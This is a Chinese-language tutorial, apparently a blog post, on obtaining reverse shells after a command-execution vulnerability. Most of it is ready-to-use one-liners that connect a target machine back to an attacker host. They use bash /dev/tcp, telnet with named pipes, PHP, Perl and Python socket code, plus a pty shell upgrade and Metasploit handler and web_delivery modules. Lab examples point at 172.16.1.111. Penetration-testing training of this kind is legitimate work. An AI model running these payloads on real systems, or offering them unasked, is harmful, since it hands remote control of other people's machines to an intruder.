反弹shell
反弹shell一般利用在命令执行漏洞中
在Netcat的学习中我们学习了如何使用nc -e /bin/bash
反弹shell
这里分享一些除了nc以外其他的反弹方式
Bash反弹shell
bash -i >& /dev/tcp/IP地址/端口 0>&1
/dev/tcp,udp,host,port等是一些特殊的设备,可以进行读取和写入建立socket连接
0 : 标准输入
1 : 标准输出
2 : 错误输出
0>&1 ,将标准输入显示到标准输出
bash -i >& /dev/tcp/IP地址/端口
这一段是将我们 bash 执行的命令输出到 /dev/tcp/目标地址/目标端口中 ,可以这样简单的理解
攻击机:nc -lvp 866
靶机:bash -i >& /dev/tcp/172.16.1.111/866 0>&1
执行后靶机将会无法执行命令
反弹成功
python更改终端
有时候我们获取的shell用着很不舒服,可以使用pty
模块获取一个bash
python -c "import pty;pty.spawn('/bin/sh')"
telnet反弹shell
mknod 设备名 p && telnet targetIp 8080 0<设备名 | /bin/bash 1>设备名
利用telnet建立连接|
交给bash处理执行系统命令,0<设备名
将我们输入传入,1>设备名
将我们输入传输
攻击机:nc -lvp 866
靶机:mknod test p && telnet 172.16.1.111 866 0<test | /bin/bash 1>test
执行后回到攻击机
另一种 telnet 反弹
我们在攻击机监听1234端口,靶机执行命令telnet 172.16.1.111 1234| /bin/bash
可以看到,我们好像是共享了bash,攻击机执行命令试一下
并没有任何回显,回到靶机
发现我们执行的命令在靶机中执行了,哈哈哈
猜想,我们再次| telnet 172.16.1.111 8888
连接攻击机的另一个端口,交个这个端口处理,会不会就显示过去了?
实验:攻击机创建连个命令行,分别监听1111和2222端口
nc -lvp 1111
和nc -lvp 2222
在靶机执行我们猜想的命令
telnet 172.16.1.111 1111 | /bin/bash | telnet 172.16.1.111 2222
执行成功,回到攻击机我们在1111端口执行命令,在2222端口查看结果
成功反弹shell,哈哈哈,还有这种怪异的方法
php反弹
php 反弹就是利用
exec命令执行函数
,都然也可以不使用exec函数建立连接
php -r 'PHP代码'
可以执行PHP代码,例如:php -r 'echo "hello world";'
php -r 'exec("/bin/bash -i >& /dev/tcp/targetIP/port 0>&1");'
php -r '$sock=fsockopen("targetIP","prot");exec("/bin/bash -i 0>&3 2>&3 1>&3");'
这两条都很类似,利用exec
函数进行反弹shell
perl反弹
perl 是一个程序语言,运行在大多数计算机中
perl -e 'use Socket;$i="targetIP";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python反弹
python -c 可以执行Python代码
,例如:python -c 'print("hello world")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻targetip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
在我们反弹shell成功之后,如果终端有问题,可以使用python -c 'import pty;pty.spawn("/bin/bash")'
msf 反弹
msf反弹一般用到两个模块
木马反弹
exploit/multi/handler
,使用handler本地监听exp,使用msfvenom
生成木马并在靶机执行我们的木马,返回session
命令反弹
exploit/multi/script/web_delivery
,使用web_delivery本地监听生成exp,在靶机执行命令,返回session